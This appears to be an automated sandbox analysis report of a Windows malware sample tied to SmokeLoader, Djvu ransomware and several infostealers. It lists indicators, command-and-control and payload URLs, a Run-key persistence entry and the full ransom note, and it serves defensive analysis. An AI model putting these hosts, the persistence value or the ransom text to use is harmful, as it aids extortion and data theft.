dcrat | 4a5176af4c9dedd9e984b193761d994bc68a76481ae3975eb0acb30e687e52ee

Analysis

max time kernel
97s
max time network
303s
platform
windows10-1703_x64
resource
win10-20231215-en
resource tags

arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
submitted
04-02-2024 07:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4a5176af4c9dedd9e984b193761d994bc68a76481ae3975eb0acb30e687e52ee.exe
Size

231KB
MD5

ff1a6e6863428c2888d990c1afeb477e
SHA1

f15b4c057f1f323c3c9d876f36aa61b315b1dc5a
SHA256

4a5176af4c9dedd9e984b193761d994bc68a76481ae3975eb0acb30e687e52ee
SHA512

e37b9c8fb7b2d02f241d32b12d2863019af1d701ee10dbe11625379d8d240228dd8b60ad57ea5c5895d5e6c802079e4b2460812c2923085f454b00a3a2bc0394
SSDEEP

3072:rGTH9LSPLkeRLOfoeido3uaXY5n12cEb3X3RW91V35sUnX7q8564e3jGLxYx6TVj:M9LqRL4o2/cDErHwN35rMR3jGFY2

Score

10^/10

dcrat djvu risepro smokeloader stealc vidar 1b9d7ec5a25ab9d78c31777a0016a097 pub1 backdoor discovery evasion infostealer persistence pyinstaller ransomware rat spyware stealer trojan

Malware Config

Extracted

Family

smokeloader

Botnet

pub1

Extracted

Family

smokeloader

Version

2022

http://trad-einmyus.com/index.php

http://tradein-myus.com/index.php

http://trade-inmyus.com/index.php

rc4.i32

Extracted

Family

djvu

http://habrafa.com/test1/get.php

Attributes

extension
.cdcc
offline_id
LBxKKiegnAy53rpqH3Pj2j46vwldiEt9kqHSuMt1
payload_url
http://brusuax.com/dl/build2.exe
http://habrafa.com/files/1/build3.exe
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-iVcrVFVRqu Price of private key and decrypt software is $1999. Discount 50% available if you contact us first 72 hours, that's price for you is $999. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0846ASdw

rsa_pubkey.plain

Extracted

Family

vidar

Version

7.6

Botnet

1b9d7ec5a25ab9d78c31777a0016a097

https://t.me/tvrugrats

https://steamcommunity.com/profiles/76561199627279110

Attributes

profile_id_v2
1b9d7ec5a25ab9d78c31777a0016a097

Extracted

Family

risepro

88.210.9.117:50500

Extracted

Family

stealc

http://185.172.128.79

Attributes

url_path
/3886d2276f6914c4.php

rc4.plain

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Detect Vidar Stealer 5 IoCs

stealer

Processes:

resource	yara_rule
behavioral2/memory/2604-83-0x0000000000400000-0x0000000000643000-memory.dmp	family_vidar_v7
behavioral2/memory/2604-84-0x0000000000400000-0x0000000000643000-memory.dmp	family_vidar_v7
behavioral2/memory/2980-80-0x00000000006F0000-0x0000000000720000-memory.dmp	family_vidar_v7
behavioral2/memory/2604-78-0x0000000000400000-0x0000000000643000-memory.dmp	family_vidar_v7
behavioral2/memory/2604-142-0x0000000000400000-0x0000000000643000-memory.dmp	family_vidar_v7

Detected Djvu ransomware 18 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4584-32-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4584-33-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4584-31-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4584-28-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/3428-29-0x00000000022C0000-0x00000000023DB000-memory.dmp	family_djvu
behavioral2/memory/4584-46-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4540-53-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4540-54-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4540-52-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/3192-49-0x0000000002090000-0x0000000002127000-memory.dmp	family_djvu
behavioral2/memory/4540-60-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4540-59-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4540-64-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4540-67-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4540-66-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4540-68-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4540-93-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/720-112-0x0000000000AA0000-0x0000000000BA0000-memory.dmp	family_djvu

Djvu Ransomware
Ransomware which is a variant of the STOP family.
ransomware djvu
RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
stealer risepro
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Downloads MZ/PE file
Modifies Windows Firewall 2 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exe

pid process

5116 netsh.exe
Deletes itself 1 IoCs

Processes:

pid process

3244

pid	process
5116	netsh.exe

pid	process
3244

Executes dropped EXE 23 IoCs

Processes:

EC06.exe3BCD.exe3BCD.exe3BCD.exe3BCD.exebuild2.exebuild2.exebuild3.exe8402.exebuild3.exe95B6.exeB565.exeInstallSetup3.exeapril.exeBroomSetup.exec53cfff621a84792162f70e790980e38.exeapril.tmpwebsocketconnectionroutine.exewebsocketconnectionroutine.exensyBF46.tmpc53cfff621a84792162f70e790980e38.exerbegwcumstsca.exe

pid	process
228	EC06.exe
3428	3BCD.exe
4584	3BCD.exe
3192	3BCD.exe
4540	3BCD.exe
2980	build2.exe
2604	build2.exe
720	build3.exe
1364	8402.exe
4172	build3.exe
2568	95B6.exe
164	B565.exe
5104	InstallSetup3.exe
1292	april.exe
1804	BroomSetup.exe
4368	c53cfff621a84792162f70e790980e38.exe
4468	april.tmp
3684	websocketconnectionroutine.exe
400	websocketconnectionroutine.exe
1864	nsyBF46.tmp
4360	c53cfff621a84792162f70e790980e38.exe
1048	rbegwcu
2896	mstsca.exe

Loads dropped DLL 8 IoCs

Processes:

InstallSetup3.exeapril.tmpnsyBF46.tmp

pid process

5104 InstallSetup3.exe
4468 april.tmp
4468 april.tmp
4468 april.tmp
5104 InstallSetup3.exe
1864 nsyBF46.tmp
1864 nsyBF46.tmp
5104 InstallSetup3.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

2596 icacls.exe
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.

Processes:

description ioc

Destination IP 45.155.250.90
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
5104	InstallSetup3.exe
4468	april.tmp
4468	april.tmp
4468	april.tmp
5104	InstallSetup3.exe
1864	nsyBF46.tmp
1864	nsyBF46.tmp
5104	InstallSetup3.exe

pid	process
2596	icacls.exe

description	ioc
Destination IP	45.155.250.90

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

3BCD.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3196661410-1888440797-2304965013-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\bd2742ff-2ebb-4f65-abab-826cb63d41cc\\3BCD.exe\" --AutoStart"	3BCD.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

28 api.2ip.ua
29 api.2ip.ua
44 api.2ip.ua

flow	ioc
28	api.2ip.ua
29	api.2ip.ua
44	api.2ip.ua

Drops file in System32 directory 3 IoCs

Processes:

Conhost.exepowershell.exe

description	ioc	process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	Conhost.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	Conhost.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

3BCD.exe3BCD.exebuild2.exebuild3.exe

description	pid	process	target process
PID 3428 set thread context of 4584	3428	3BCD.exe	3BCD.exe
PID 3192 set thread context of 4540	3192	3BCD.exe	3BCD.exe
PID 2980 set thread context of 2604	2980	build2.exe	build2.exe
PID 720 set thread context of 4172	720	build3.exe	build3.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery
T1082

Processes:

c53cfff621a84792162f70e790980e38.exe

description ioc process

File opened (read-only) \??\VBoxMiniRdrDN c53cfff621a84792162f70e790980e38.exe
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exe

pid process

3344 sc.exe

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	c53cfff621a84792162f70e790980e38.exe

pid	process
3344	sc.exe

Detects Pyinstaller 1 IoCs

pyinstaller

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\4D41.exe	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid pid_target process target process

936 2604 WerFault.exe build2.exe
2072 1364 WerFault.exe 8402.exe

pid	pid_target	process	target process
936	2604	WerFault.exe	build2.exe
2072	1364	WerFault.exe	8402.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

4a5176af4c9dedd9e984b193761d994bc68a76481ae3975eb0acb30e687e52ee.exeEC06.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4a5176af4c9dedd9e984b193761d994bc68a76481ae3975eb0acb30e687e52ee.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4a5176af4c9dedd9e984b193761d994bc68a76481ae3975eb0acb30e687e52ee.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4a5176af4c9dedd9e984b193761d994bc68a76481ae3975eb0acb30e687e52ee.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	EC06.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	EC06.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	EC06.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

nsyBF46.tmp

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	nsyBF46.tmp
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	nsyBF46.tmp

Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

4556 schtasks.exe
3300 schtasks.exe
2112 schtasks.exe
364 schtasks.exe
5112 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

784 timeout.exe

pid	process
4556	schtasks.exe
3300	schtasks.exe
2112	schtasks.exe
364	schtasks.exe
5112	schtasks.exe

pid	process
784	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

Conhost.exec53cfff621a84792162f70e790980e38.exepowershell.exepowershell.exenetsh.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	Conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	Conhost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time"	c53cfff621a84792162f70e790980e38.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	Conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	c53cfff621a84792162f70e790980e38.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	Conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	Conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	Conhost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	c53cfff621a84792162f70e790980e38.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	c53cfff621a84792162f70e790980e38.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	c53cfff621a84792162f70e790980e38.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time"	c53cfff621a84792162f70e790980e38.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	c53cfff621a84792162f70e790980e38.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time"	c53cfff621a84792162f70e790980e38.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	c53cfff621a84792162f70e790980e38.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time"	c53cfff621a84792162f70e790980e38.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	c53cfff621a84792162f70e790980e38.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	Conhost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

4a5176af4c9dedd9e984b193761d994bc68a76481ae3975eb0acb30e687e52ee.exe

pid	process
2752	4a5176af4c9dedd9e984b193761d994bc68a76481ae3975eb0acb30e687e52ee.exe
2752	4a5176af4c9dedd9e984b193761d994bc68a76481ae3975eb0acb30e687e52ee.exe
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244
3244

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

4a5176af4c9dedd9e984b193761d994bc68a76481ae3975eb0acb30e687e52ee.exeEC06.exe

pid process

2752 4a5176af4c9dedd9e984b193761d994bc68a76481ae3975eb0acb30e687e52ee.exe
228 EC06.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exec53cfff621a84792162f70e790980e38.exeConhost.exepowershell.exe

description	pid	process
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeDebugPrivilege	4052	powershell.exe
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeDebugPrivilege	4368	c53cfff621a84792162f70e790980e38.exe
Token: SeImpersonatePrivilege	4368	c53cfff621a84792162f70e790980e38.exe
Token: SeDebugPrivilege	3300	Conhost.exe
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeDebugPrivilege	5008	powershell.exe
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244
Token: SeCreatePagefilePrivilege	3244
Token: SeShutdownPrivilege	3244

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

april.tmp

pid process

4468 april.tmp
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

BroomSetup.exe

pid process

1804 BroomSetup.exe

pid	process
4468	april.tmp

pid	process
1804	BroomSetup.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

3BCD.exe3BCD.exe3BCD.exe3BCD.exebuild2.exebuild3.exebuild3.exe

description	pid	process	target process
PID 3244 wrote to memory of 228	3244		EC06.exe
PID 3244 wrote to memory of 228	3244		EC06.exe
PID 3244 wrote to memory of 228	3244		EC06.exe
PID 3244 wrote to memory of 3428	3244		3BCD.exe
PID 3244 wrote to memory of 3428	3244		3BCD.exe
PID 3244 wrote to memory of 3428	3244		3BCD.exe
PID 3428 wrote to memory of 4584	3428	3BCD.exe	3BCD.exe
